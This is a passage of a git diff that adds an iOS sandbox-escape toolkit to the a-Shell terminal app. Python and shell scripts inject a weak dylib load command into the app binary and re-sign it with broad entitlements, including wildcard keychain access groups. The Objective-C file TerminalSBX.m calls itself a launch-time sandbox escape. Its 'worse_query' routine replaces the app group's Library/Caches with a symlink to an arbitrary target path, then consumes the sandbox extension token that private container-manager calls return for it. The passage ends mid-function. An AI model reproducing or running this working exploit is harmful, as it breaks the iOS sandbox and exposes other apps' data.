ty + int(th * 0.58) +draw.rounded_rectangle((cursor_x, cursor_y, cursor_x + 92, cursor_y + 30), radius=8, fill=(63, 185, 80)) + +# A faint bottom label. +try: + label_font = ImageFont.truetype("/System/Library/Fonts/SFNSMono.ttf", 44) +except Exception: + label_font = ImageFont.truetype("/System/Library/Fonts/Menlo.ttc", 54) +label = "Terminal" +lbbox = draw.textbbox((0, 0), label, font=label_font) +lw = lbbox[2] - lbbox[0] +draw.text(((SIZE - lw) // 2, 780), label, font=label_font, fill=(88, 166, 255)) + +img.save(MASTER) + +# Asset catalog. +if os.path.isdir(OUT): + shutil.rmtree(OUT) +os.makedirs(OUT, exist_ok=True) +if os.path.isdir(ASSETS): + shutil.rmtree(ASSETS) +os.makedirs(ICONSET, exist_ok=True) +with open(os.path.join(ASSETS, "Contents.json"), "w") as f: + json.dump({"info": {"author": "xcode", "version": 1}}, f, indent=2) + +# (idiom, size, scale, filename) +specs = [ + ("iphone", "20x20", "2x", "DisplayIcon20x20@2x.png"), + ("iphone", "20x20", "3x", "DisplayIcon20x20@3x.png"), + ("iphone", "29x29", "2x", "DisplayIcon29x29@2x.png"), + ("iphone", "29x29", "3x", "DisplayIcon29x29@3x.png"), + ("iphone", "40x40", "2x", "DisplayIcon40x40@2x.png"), + ("iphone", "40x40", "3x", "DisplayIcon40x40@3x.png"), + ("iphone", "60x60", "2x", "DisplayIcon60x60@2x.png"), + ("iphone", "60x60", "3x", "DisplayIcon60x60@3x.png"), + ("ipad", "20x20", "1x", "DisplayIcon20x20~ipad.png"), + ("ipad", "20x20", "2x", "DisplayIcon20x20@2x~ipad.png"), + ("ipad", "29x29", "1x", "DisplayIcon29x29~ipad.png"), + ("ipad", "29x29", "2x", "DisplayIcon29x29@2x~ipad.png"), + ("ipad", "40x40", "1x", "DisplayIcon40x40~ipad.png"), + ("ipad", "40x40", "2x", "DisplayIcon40x40@2x~ipad.png"), + ("ipad", "76x76", "1x", "DisplayIcon76x76~ipad.png"), + ("ipad", "76x76", "2x", "DisplayIcon76x76@2x~ipad.png"), + ("ipad", "83.5x83.5", "2x", "DisplayIcon83.5x83.5@2x~ipad.png"), + ("ios-marketing", "1024x1024", "1x", "DisplayIcon1024.png"), +] +images = [] +for idiom, size, scale, name in specs: + points = float(size.split("x")[0]) + px = int(round(points * int(scale.rstrip("x")))) + resized = img.resize((px, px), Image.LANCZOS) + resized.save(os.path.join(ICONSET, name)) + images.append({"filename": name, "idiom": idiom, "scale": scale, "size": size}) +with open(os.path.join(ICONSET, "Contents.json"), "w") as f: + json.dump({"images": images, "info": {"author": "xcode", "version": 1}}, f, indent=2) + +# Compile the asset catalog with Xcode's actool. +subprocess.run([ + "xcrun", "actool", + "--compile", OUT, + "--platform", "iphoneos", + "--minimum-deployment-target", "15.0", + "--app-icon", "DisplayIcon", + "--output-partial-info-plist", os.path.join(OUT, "partial-info.plist"), + "--target-device", "iphone", + "--target-device", "ipad", + ASSETS, +], check=True) + +print("master:", MASTER) +print("assets.car:", os.path.join(OUT, "Assets.car")) +print("generated files:") +for name in sorted(os.listdir(OUT)): + print(" ", name) diff --git a/icon/out/Assets.car b/icon/out/Assets.car new file mode 100644 index 0000000..d652a21 Binary files /dev/null and b/icon/out/Assets.car differ diff --git a/icon/out/partial-info.plist b/icon/out/partial-info.plist new file mode 100644 index 0000000..22e6f7a --- /dev/null +++ b/icon/out/partial-info.plist @@ -0,0 +1,31 @@ + + + + + CFBundleIcons + + CFBundlePrimaryIcon + + CFBundleIconFiles + + DisplayIcon60x60 + + CFBundleIconName + DisplayIcon + + + CFBundleIcons~ipad + + CFBundlePrimaryIcon + + CFBundleIconFiles + + DisplayIcon60x60 + DisplayIcon76x76 + + CFBundleIconName + DisplayIcon + + + + diff --git a/scripts/build_dylib.sh b/scripts/build_dylib.sh new file mode 100644 index 0000000..6a6d05e --- /dev/null +++ b/scripts/build_dylib.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# Build TerminalSBX.dylib for iOS arm64. +set -euo pipefail +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +SDK="$(xcrun --sdk iphoneos --show-sdk-path)" +mkdir -p "$ROOT/build" +xcrun --sdk iphoneos clang \ + -arch arm64 -miphoneos-version-min=15.0 -isysroot "$SDK" \ + -dynamiclib -fobjc-arc -fmodules -fblocks -O2 \ + -Wno-unused-parameter -Wno-arc-performSelector-leaks \ + -framework Foundation -framework Security -framework UIKit -framework Metal \ + -install_name @executable_path/Frameworks/TerminalSBX.dylib \ + -o "$ROOT/build/TerminalSBX.dylib" "$ROOT/src/TerminalSBX.m" +echo "$ROOT/build/TerminalSBX.dylib" diff --git a/scripts/ent.plist b/scripts/ent.plist new file mode 100644 index 0000000..7c915e5 --- /dev/null +++ b/scripts/ent.plist @@ -0,0 +1,15 @@ + + + +application-identifierNL6UD7G49R.com.cert.account.t260930000125 +com.apple.developer.team-identifierNL6UD7G49R +com.apple.security.application-groups +group.com.cert.account.t260930000125.01 +group.com.cert.account.t260930000125.02 +group.com.cert.account.t260930000125.03 +group.com.cert.account.t260930000125.04 +group.com.cert.account.t260930000125.05 + +keychain-access-groupsNL6UD7G49R.* +com.apple.developer.nfc.readersession.formatsTAG + diff --git a/scripts/inject_dylib.py b/scripts/inject_dylib.py new file mode 100644 index 0000000..b9a1346 --- /dev/null +++ b/scripts/inject_dylib.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +"""Inject a weak LC_LOAD_DYLIB into the a-Shell main binary with LIEF.""" +import sys +import lief + +if len(sys.argv) != 3: + raise SystemExit("usage: inject_dylib.py ") + +path, dylib = sys.argv[1], sys.argv[2] +binary = lief.MachO.parse(path).at(0) +if dylib in [lib.name for lib in binary.libraries]: + print("already present") + raise SystemExit(0) +command = lief.MachO.DylibCommand.weak_lib(dylib) +result = binary.add(command) +binary.write(path) +print(result) diff --git a/scripts/sign_all.sh b/scripts/sign_all.sh new file mode 100755 index 0000000..a0a3a94 --- /dev/null +++ b/scripts/sign_all.sh @@ -0,0 +1,37 @@ +#!/bin/bash +# Reference signing pass: sign every framework with the same team, then the +# app with the supplied entitlements and provisioning profile. +# +# Usage: +# IDENTITY=... KEYCHAIN=... PROFILE=... ./sign_all.sh work/Terminal.app +set -euo pipefail +APP="${1:-work/Terminal.app}" +IDENTITY="${IDENTITY:?set IDENTITY}" +KEYCHAIN="${KEYCHAIN:-$HOME/Library/Keychains/login.keychain-db}" +ENT="${ENT:-scripts/ent.plist}" +PROFILE="${PROFILE:?set PROFILE}" + +find "$APP/Frameworks" "$APP/usr" "$APP/Library" -type f \ + \( -name '*.dylib' -o -name '*.so' -o -perm -111 \) -print0 2>/dev/null | +while IFS= read -r -d '' f; do + file -b "$f" | grep -q 'Mach-O' || continue + codesign --force --sign "$IDENTITY" --keychain "$KEYCHAIN" --timestamp=none "$f" +done + +find "$APP/Frameworks" -type d -name '*.framework' -print | + awk '{ print length($0) "\t" $0 }' | sort -rn | cut -f2- | +while IFS= read -r fw; do + codesign --force --sign "$IDENTITY" --keychain "$KEYCHAIN" --timestamp=none "$fw" +done + +for appex in "$APP"/PlugIns/*.appex; do + [ -d "$appex" ] || continue + cp "$PROFILE" "$appex/embedded.mobileprovision" + codesign --force --sign "$IDENTITY" --keychain "$KEYCHAIN" \ + --entitlements "$ENT" --generate-entitlement-der --timestamp=none "$appex" +done + +cp "$PROFILE" "$APP/embedded.mobileprovision" +codesign --force --sign "$IDENTITY" --keychain "$KEYCHAIN" \ + --entitlements "$ENT" --generate-entitlement-der --timestamp=none "$APP" +codesign --verify --strict --verbose=2 "$APP" diff --git a/src/TerminalSBX.m b/src/TerminalSBX.m new file mode 100644 index 0000000..3479118 --- /dev/null +++ b/src/TerminalSBX.m @@ -0,0 +1,2398 @@ +// +// TerminalSBX.m +// Terminal (a-Shell 2.3.2 full + worse_query) +// +// In-process commands and launch-time sandbox escape for a-Shell. +// Primary primitive: worse_query (forcequitOS), GPL-3.0. +// Fallback primitive: class-13 part-domain traversal (Veilpath / bad_query lineage). +// +// This file is loaded by the a-Shell binary at launch (weak LC_LOAD_DYLIB) and +// through commandDictionary.plist. It is not a standalone application. +// + +#import +#import +#import +#import +#import + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// --------------------------------------------------------------------------- +// Output streams +// --------------------------------------------------------------------------- + +static FILE *sbx_out(void) { + typedef FILE *(*ios_stream_fn)(void); + static ios_stream_fn out_fn = NULL; + static int tried = 0; + if (!tried) { + out_fn = (ios_stream_fn)dlsym(RTLD_DEFAULT, "ios_stdout"); + tried = 1; + } + if (out_fn) { + FILE *f = out_fn(); + if (f) return f; + } + FILE **tls = (FILE **)dlsym(RTLD_DEFAULT, "thread_stdout"); + if (tls && *tls) return *tls; + return stdout; +} + +static FILE *sbx_err(void) { + typedef FILE *(*ios_stream_fn)(void); + static ios_stream_fn err_fn = NULL; + static int tried = 0; + if (!tried) { + err_fn = (ios_stream_fn)dlsym(RTLD_DEFAULT, "ios_stderr"); + tried = 1; + } + if (err_fn) { + FILE *f = err_fn(); + if (f) return f; + } + FILE **tls = (FILE **)dlsym(RTLD_DEFAULT, "thread_stderr"); + if (tls && *tls) return *tls; + return stderr; +} + +static void sbx_printf(const char *fmt, ...) { + FILE *f = sbx_out(); + va_list ap; + va_start(ap, fmt); + vfprintf(f, fmt, ap); + va_end(ap); + fflush(f); +} + +static void sbx_eprintf(const char *fmt, ...) { + FILE *f = sbx_err(); + va_list ap; + va_start(ap, fmt); + vfprintf(f, fmt, ap); + va_end(ap); + fflush(f); +} + +// --------------------------------------------------------------------------- +// Launch progress UI +// --------------------------------------------------------------------------- + +@interface SBXProgressViewController : UIViewController +@property (nonatomic, strong) UIProgressView *progressView; +@property (nonatomic, strong) UILabel *titleLabel; +@property (nonatomic, strong) UILabel *statusLabel; +@property (nonatomic, strong) UILabel *percentLabel; +- (void)updateProgress:(double)value status:(NSString *)status; +@end + +@implementation SBXProgressViewController + +- (void)viewDidLoad { + [super viewDidLoad]; + self.view.backgroundColor = [UIColor colorWithWhite:0.0 alpha:0.82]; + self.view.accessibilityViewIsModal = YES; + + UIView *card = [[UIView alloc] initWithFrame:CGRectZero]; + card.translatesAutoresizingMaskIntoConstraints = NO; + card.backgroundColor = [UIColor colorWithWhite:0.12 alpha:0.98]; + card.layer.cornerRadius = 18.0; + card.layer.masksToBounds = YES; + [self.view addSubview:card]; + + self.titleLabel = [[UILabel alloc] initWithFrame:CGRectZero]; + self.titleLabel.text = @"Terminal"; + self.titleLabel.font = [UIFont systemFontOfSize:24 weight:UIFontWeightSemibold]; + self.titleLabel.textColor = [UIColor whiteColor]; + self.titleLabel.textAlignment = NSTextAlignmentCenter; + + self.statusLabel = [[UILabel alloc] initWithFrame:CGRectZero]; + self.statusLabel.text = @"正在获取沙盒扩展…"; + self.statusLabel.font = [UIFont systemFontOfSize:14 weight:UIFontWeightRegular]; + self.statusLabel.textColor = [UIColor colorWithWhite:0.88 alpha:1.0]; + self.statusLabel.textAlignment = NSTextAlignmentCenter; + self.statusLabel.numberOfLines = 0; + + self.progressView = [[UIProgressView alloc] initWithProgressViewStyle:UIProgressViewStyleDefault]; + self.progressView.translatesAutoresizingMaskIntoConstraints = NO; + self.progressView.progressTintColor = [UIColor systemGreenColor]; + self.progressView.trackTintColor = [UIColor colorWithWhite:0.30 alpha:1.0]; + self.progressView.progress = 0.0; + self.progressView.transform = CGAffineTransformMakeScale(1.0, 2.0); + self.progressView.layer.cornerRadius = 2.0; + self.progressView.clipsToBounds = YES; + + self.percentLabel = [[UILabel alloc] initWithFrame:CGRectZero]; + self.percentLabel.text = @"0%"; + self.percentLabel.font = [UIFont monospacedDigitSystemFontOfSize:14 weight:UIFontWeightMedium]; + self.percentLabel.textColor = [UIColor colorWithWhite:0.75 alpha:1.0]; + self.percentLabel.textAlignment = NSTextAlignmentCenter; + + UIStackView *stack = [[UIStackView alloc] initWithArrangedSubviews:@[ + self.titleLabel, self.statusLabel, self.progressView, self.percentLabel + ]]; + stack.translatesAutoresizingMaskIntoConstraints = NO; + stack.axis = UILayoutConstraintAxisVertical; + stack.alignment = UIStackViewAlignmentFill; + stack.spacing = 14.0; + [card addSubview:stack]; + + NSLayoutConstraint *width = [card.widthAnchor constraintEqualToAnchor:self.view.widthAnchor multiplier:0.86]; + width.priority = UILayoutPriorityDefaultHigh; + [NSLayoutConstraint activateConstraints:@[ + [card.centerXAnchor constraintEqualToAnchor:self.view.centerXAnchor], + [card.centerYAnchor constraintEqualToAnchor:self.view.centerYAnchor], + width, + [card.widthAnchor constraintLessThanOrEqualToConstant:420.0], + [stack.topAnchor constraintEqualToAnchor:card.topAnchor constant:28.0], + [stack.leadingAnchor constraintEqualToAnchor:card.leadingAnchor constant:24.0], + [stack.trailingAnchor constraintEqualToAnchor:card.trailingAnchor constant:-24.0], + [stack.bottomAnchor constraintEqualToAnchor:card.bottomAnchor constant:-28.0], + [self.progressView.heightAnchor constraintEqualToConstant:8.0], + ]]; +} + +- (void)updateProgress:(double)value status:(NSString *)status { + if (value < 0.0) value = 0.0; + if (value > 1.0) value = 1.0; + [self.progressView setProgress:(float)value animated:YES]; + self.percentLabel.text = [NSString stringWithFormat:@"%d%%", (int)(value * 100.0 + 0.5)]; + if (status.length > 0) self.statusLabel.text = status; +} + +@end + +static SBXProgressViewController *g_progressVC = nil; +static BOOL g_progressPresenting = NO; +static BOOL g_progressFinished = NO; +static BOOL g_progressEnabled = NO; +static double g_progressValue = 0.0; +static NSString *g_progressStatus = @"正在获取沙盒扩展…"; +static pthread_mutex_t g_progressLock = PTHREAD_MUTEX_INITIALIZER; + +static void sbx_open_sandbox_list(void); + +static UIWindow *sbx_key_window(void) { + UIApplication *app = [UIApplication sharedApplication]; + for (UIScene *scene in app.connectedScenes) { + if (![scene isKindOfClass:[UIWindowScene class]]) continue; + UIWindowScene *windowScene = (UIWindowScene *)scene; + for (UIWindow *window in windowScene.windows) { + if (window.isKeyWindow && !window.hidden) return window; + } + } + for (UIScene *scene in app.connectedScenes) { + if (![scene isKindOfClass:[UIWindowScene class]]) continue; + UIWindowScene *windowScene = (UIWindowScene *)scene; + for (UIWindow *window in windowScene.windows) { + if (!window.hidden) return window; + } + } + return nil; +} + +static void sbx_present_progress_now(void) { + if (g_progressVC != nil || g_progressPresenting || g_progressFinished) return; + UIWindow *window = sbx_key_window(); + if (window == nil || window.rootViewController == nil) return; + + UIViewController *root = window.rootViewController; + while (root.presentedViewController != nil) root = root.presentedViewController; + + pthread_mutex_lock(&g_progressLock); + double value = g_progressValue; + NSString *status = g_progressStatus; + pthread_mutex_unlock(&g_progressLock); + + [window endEditing:YES]; + + g_progressPresenting = YES; + SBXProgressViewController *vc = [[SBXProgressViewController alloc] initWithNibName:nil bundle:nil]; + vc.modalPresentationStyle = UIModalPresentationOverFullScreen; + vc.modalTransitionStyle = UIModalTransitionStyleCrossDissolve; + if (@available(iOS 13.0, *)) vc.modalInPresentation = YES; + [vc updateProgress:value status:status]; + [root presentViewController:vc animated:NO completion:^{ + g_progressPresenting = NO; + if (g_progressFinished) { + [vc dismissViewControllerAnimated:NO completion:nil]; + return; + } + g_progressVC = vc; + pthread_mutex_lock(&g_progressLock); + double current = g_progressValue; + NSString *currentStatus = g_progressStatus; + pthread_mutex_unlock(&g_progressLock); + [vc updateProgress:current status:currentStatus]; + }]; + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(1.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ + if (g_progressVC == nil) g_progressPresenting = NO; + }); +} + +static void sbx_present_progress_retry(int attempts) { + if (g_progressVC != nil || g_progressFinished || attempts <= 0) return; + sbx_present_progress_now(); + if (g_progressVC == nil) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.25 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ + sbx_present_progress_retry(attempts - 1); + }); + } +} + +static void sbx_show_progress(void) { + pthread_mutex_lock(&g_progressLock); + g_progressEnabled = YES; + g_progressFinished = NO; + g_progressValue = 0.01; + g_progressStatus = @"正在初始化沙盒环境…"; + pthread_mutex_unlock(&g_progressLock); + + dispatch_async(dispatch_get_main_queue(), ^{ + sbx_present_progress_retry(80); + }); +} + +static void sbx_progress_set(double value, NSString *status) { + pthread_mutex_lock(&g_progressLock); + if (!g_progressEnabled) { + pthread_mutex_unlock(&g_progressLock); + return; + } + g_progressValue = value; + if (status.length > 0) g_progressStatus = [status copy]; + pthread_mutex_unlock(&g_progressLock); + + dispatch_async(dispatch_get_main_queue(), ^{ + if (g_progressVC != nil) [g_progressVC updateProgress:value status:status]; + }); +} + +static void sbx_progress_finish(void) { + pthread_mutex_lock(&g_progressLock); + if (!g_progressEnabled) { + pthread_mutex_unlock(&g_progressLock); + return; + } + g_progressFinished = YES; + g_progressValue = 1.0; + g_progressStatus = @"完成，正在进入 _sandbox…"; + pthread_mutex_unlock(&g_progressLock); + + dispatch_async(dispatch_get_main_queue(), ^{ + SBXProgressViewController *vc = g_progressVC; + if (vc == nil) { + sbx_open_sandbox_list(); + return; + } + [vc updateProgress:1.0 status:@"完成，正在进入 _sandbox…"]; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.45 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{ + if (g_progressVC == nil) { + sbx_open_sandbox_list(); + return; + } + SBXProgressViewController *current = g_progressVC; + g_progressVC = nil; + [current dismissViewControllerAnimated:YES completion:^{ + sbx_open_sandbox_list(); + }]; + }); + }); +} + +static void sbx_open_command_url(NSString *command) { + if (command.length == 0) return; + NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString: + @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~"]; + NSString *encoded = [command stringByAddingPercentEncodingWithAllowedCharacters:allowed]; + NSURL *url = [NSURL URLWithString:[@"ashell:" stringByAppendingString:encoded ?: @""]]; + if (url == nil) return; + NSLog(@"[TerminalSBX] opening command URL: %@", url.absoluteString); + [[UIApplication sharedApplication] openURL:url options:@{} completionHandler:^(BOOL success) { + if (!success) NSLog(@"[TerminalSBX] could not open command URL: %@", command); + }]; +} + +static void sbx_open_sandbox_list(void) { + // Run both commands through "source" in one URL. This keeps the cwd + // change in the current shell session, and avoids relying on semicolon + // or "&&" parsing in a-Shell's URL command path. + NSString *docs = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"]; + NSString *scriptPath = [docs stringByAppendingPathComponent:@".sbx_start"]; + NSString *script = @"clear\ncd ~/Documents/_sandbox\nls\n"; + [script writeToFile:scriptPath atomically:YES encoding:NSUTF8StringEncoding error:NULL]; + sbx_open_command_url(@"source ~/Documents/.sbx_start"); +} + +// --------------------------------------------------------------------------- +// Global state +// --------------------------------------------------------------------------- + +static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER; // handles / group / state +static pthread_mutex_t g_query_lock = PTHREAD_MUTEX_INITIALIZER; // one containermanager query at a time +static pthread_mutex_t g_mount_lock = PTHREAD_MUTEX_INITIALIZER; // serialise automount + +static NSMutableArray *g_handles = nil; +static NSMutableSet *g_accessible_roots = nil; +static NSString *g_group = nil; +static BOOL g_mount_done = NO; +static BOOL g_mount_running = NO; +static int64_t g_mount_mounted = 0; +static int64_t g_mount_failed = 0; + +static void sbx_mark_root(NSString *root) { + pthread_mutex_lock(&g_lock); + if (g_accessible_roots == nil) g_accessible_roots = [NSMutableSet set]; + [g_accessible_roots addObject:root]; + pthread_mutex_unlock(&g_lock); +} + +static BOOL sbx_root_accessible(NSString *root) { + pthread_mutex_lock(&g_lock); + BOOL value = [g_accessible_roots containsObject:root]; + pthread_mutex_unlock(&g_lock); + return value; +} + +// --------------------------------------------------------------------------- +// Path helpers +// --------------------------------------------------------------------------- + +static NSString *sbx_canonical(NSString *raw) { + if (raw == nil) return @""; + NSString *path = [raw stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]; + if (path.length == 0) return @""; + if ([path hasPrefix:@"file://"]) { + NSURL *url = [NSURL URLWithString:path]; + if (url.path.length > 0) path = url.path; + } + if (![path hasPrefix:@"/"]) { + NSString *cwd = [[NSFileManager defaultManager] currentDirectoryPath]; + if (cwd.length == 0) cwd = NSHomeDirectory(); + path = [cwd stringByAppendingPathComponent:path]; + } + path = [path stringByStandardizingPath]; + if ([path isEqualToString:@"/var"] || [path hasPrefix:@"/var/"]) { + path = [@"/private" stringByAppendingString:path]; + } + while ([path hasPrefix:@"/private/private/"]) { + path = [@"/private" stringByAppendingString:[path substringFromIndex:@"/private".length]]; + } + return path; +} + +static NSString *sbx_display(NSString *raw) { + NSString *path = sbx_canonical(raw); + if ([path isEqualToString:@"/private/var"]) return @"/var"; + if ([path hasPrefix:@"/private/var/"]) { + return [@"/var" stringByAppendingString:[path substringFromIndex:@"/private/var".length]]; + } + return path; +} + +static BOOL sbx_is_own_path(NSString *path) { + NSString *home = sbx_canonical(NSHomeDirectory()); + if (path.length == 0 || home.length == 0) return NO; + if ([path isEqualToString:home]) return YES; + return [path hasPrefix:[home stringByAppendingString:@"/"]]; +} + +static NSString *sbx_mount_root(void) { + return [NSHomeDirectory() stringByAppendingPathComponent:@"Documents/_sandbox"]; +} + +static BOOL sbx_path_exists(NSString *path) { + struct stat st; + return lstat(path.fileSystemRepresentation, &st) == 0; +} + +static BOOL sbx_path_is_dir(NSString *path) { + struct stat st; + if (lstat(path.fileSystemRepresentation, &st) != 0) return NO; + return S_ISDIR(st.st_mode) != 0; +} + +// --------------------------------------------------------------------------- +// App Group resolution +// --------------------------------------------------------------------------- + +static NSArray *sbx_groups_from_profile(void) { + NSString *profile = [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:@"embedded.mobileprovision"]; + NSData *data = [NSData dataWithContentsOfFile:profile]; + if (data.length == 0) return @[]; + + NSData *startTag = [@"" dataUsingEncoding:NSUTF8StringEncoding]; + NSRange start = [data rangeOfData:startTag options:0 range:NSMakeRange(0, data.length)]; + if (start.location == NSNotFound) return @[]; + NSRange end = [data rangeOfData:endTag options:0 + range:NSMakeRange(start.location, data.length - start.location)]; + if (end.location == NSNotFound) return @[]; + NSRange full = NSMakeRange(start.location, NSMaxRange(end) - start.location); + NSData *plistData = [data subdataWithRange:full]; + + id plist = [NSPropertyListSerialization propertyListWithData:plistData + options:NSPropertyListImmutable + format:NULL + error:NULL]; + if (![plist isKindOfClass:[NSDictionary class]]) return @[]; + id ent = ((NSDictionary *)plist)[@"Entitlements"]; + if (![ent isKindOfClass:[NSDictionary class]]) return @[]; + id groups = ((NSDictionary *)ent)[@"com.apple.security.application-groups"]; + if (![groups isKindOfClass:[NSArray class]]) return @[]; + NSMutableArray *out = [NSMutableArray array]; + for (id g in (NSArray *)groups) { + if ([g isKindOfClass:[NSString class]]) [out addObject:g]; + } + return out; +} + +static NSArray *sbx_groups_from_entitlements(void) { + void *sec = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY); + if (!sec) return @[]; + + typedef void *(*task_create_fn)(CFAllocatorRef); + typedef CFTypeRef (*task_copy_fn)(void *, CFStringRef, CFErrorRef *); + task_create_fn create = (task_create_fn)dlsym(sec, "SecTaskCreateFromSelf"); + task_copy_fn copy = (task_copy_fn)dlsym(sec, "SecTaskCopyValueForEntitlement"); + if (!create || !copy) return @[]; + + void *task = create(NULL); + if (!task) return @[]; + CFTypeRef value = copy(task, CFSTR("com.apple.security.application-groups"), NULL); + NSMutableArray *out = [NSMutableArray array]; + if (value) { + if (CFGetTypeID(value) == CFArrayGetTypeID()) { + NSArray *arr = (__bridge NSArray *)value; + for (id g in arr) { + if ([g isKindOfClass:[NSString class]]) [out addObject:g]; + } + } + CFRelease(value); + } + CFRelease(task); + return out; +} + +static void sbx_resolve_group(void) { + pthread_mutex_lock(&g_lock); + if (g_group != nil) { + pthread_mutex_unlock(&g_lock); + return; + } + pthread_mutex_unlock(&g_lock); + + NSMutableArray *candidates = [NSMutableArray array]; + void (^add)(id) = ^(id value) { + if ([value isKindOfClass:[NSString class]] && [(NSString *)value length] > 0 && + ![candidates containsObject:value]) { + [candidates addObject:value]; + } + }; + + add([[NSBundle mainBundle] objectForInfoDictionaryKey:@"AppGroupIdentifier"]); + for (NSString *g in sbx_groups_from_entitlements()) add(g); + for (NSString *g in sbx_groups_from_profile()) add(g); + + // Groups provisioned for the signing identity used by this workspace. + add(@"group.com.cert.account.t260930000125.01"); + add(@"group.com.cert.account.t260930000125.02"); + add(@"group.com.cert.account.t260930000125.03"); + add(@"group.com.cert.account.t260930000125.04"); + add(@"group.com.cert.account.t260930000125.05"); + add(@"group.AsheKube.a-Shell"); + + NSFileManager *fm = [NSFileManager defaultManager]; + // The group container is sometimes not visible during the first few + // hundred milliseconds of app launch. Retry briefly so commands issued + // immediately by a URL or .profile do not race the sandbox setup. + for (int attempt = 0; attempt < 15; attempt++) { + for (NSString *group in candidates) { + NSURL *url = [fm containerURLForSecurityApplicationGroupIdentifier:group]; + if (!url) continue; + NSURL *library = [url URLByAppendingPathComponent:@"Library" isDirectory:YES]; + [fm createDirectoryAtURL:library withIntermediateDirectories:YES attributes:nil error:NULL]; + pthread_mutex_lock(&g_lock); + g_group = [group copy]; + pthread_mutex_unlock(&g_lock); + NSLog(@"[TerminalSBX] app group: %@ at %@", group, url.path); + return; + } + usleep(100000); + } + + NSLog(@"[TerminalSBX] no accessible app group; falling back to class-13 primitive"); +} + +static NSString *sbx_group(void) { + pthread_mutex_lock(&g_lock); + NSString *group = g_group; + pthread_mutex_unlock(&g_lock); + if (group == nil) { + sbx_resolve_group(); + pthread_mutex_lock(&g_lock); + group = g_group; + pthread_mutex_unlock(&g_lock); + } + return group; +} + +// --------------------------------------------------------------------------- +// worse_query (forcequitOS, GPL-3.0) +// --------------------------------------------------------------------------- + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_iterate_results_sync_fn)(void *, void (^)(void *)); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef const char *(*container_object_get_path_fn)(void *); +typedef const char *(*container_object_get_identifier_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +static void sbx_clean_group_caches(NSString *group) { + if (group.length == 0) return; + NSFileManager *fm = [NSFileManager defaultManager]; + NSURL *root = [fm containerURLForSecurityApplicationGroupIdentifier:group]; + if (!root) return; + NSURL *caches = [root URLByAppendingPathComponent:@"Library/Caches" isDirectory:YES]; + [fm removeItemAtURL:caches error:NULL]; + [fm createDirectoryAtURL:caches withIntermediateDirectories:NO attributes:nil error:NULL]; +} + +static int64_t sbx_worse_query(NSString *target, bool alt_flags, bool create_dir) { + if (target.length == 0 || ![target hasPrefix:@"/"]) return -255; + if (!create_dir) { + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; + } + + NSString *group = sbx_group(); + if (group.length == 0) return -1; + + NSFileManager *fm = [NSFileManager defaultManager]; + NSURL *groupRoot = [fm containerURLForSecurityApplicationGroupIdentifier:group]; + if (!groupRoot) return -1; + NSString *caches = [[groupRoot URLByAppendingPathComponent:@"Library/Caches"] path]; + + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -2; + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = + (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = + (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = + (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_get_single_result_fn query_get_single_result = + (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = + (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = + (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || + !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || + !consume_extension) { + dlclose(mgr); + return -2; + } + + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -3; + } + + xpc_object_t identifier = xpc_string_create(group.UTF8String); + query_set_class(query, 7); // app group + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // Library/Caches + + if (alt_flags) { + query_set_flags(query, 0x0000000800000000ULL); + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + [fm removeItemAtPath:caches error:NULL]; + if (![fm createSymbolicLinkAtPath:caches withDestinationPath:target error:NULL]) { + query_free(query); + dlclose(mgr); + return -4; + } + + void *result = query_get_single_result(query); + if (!result) { + query_free(query); + dlclose(mgr); + sbx_clean_group_caches(group); + return -5; + } + + char *token = copy_sandbox_token(result); + if (!token) { + query_free(query); + dlclose(mgr); + sbx_clean_group_caches(group); + return -6; + 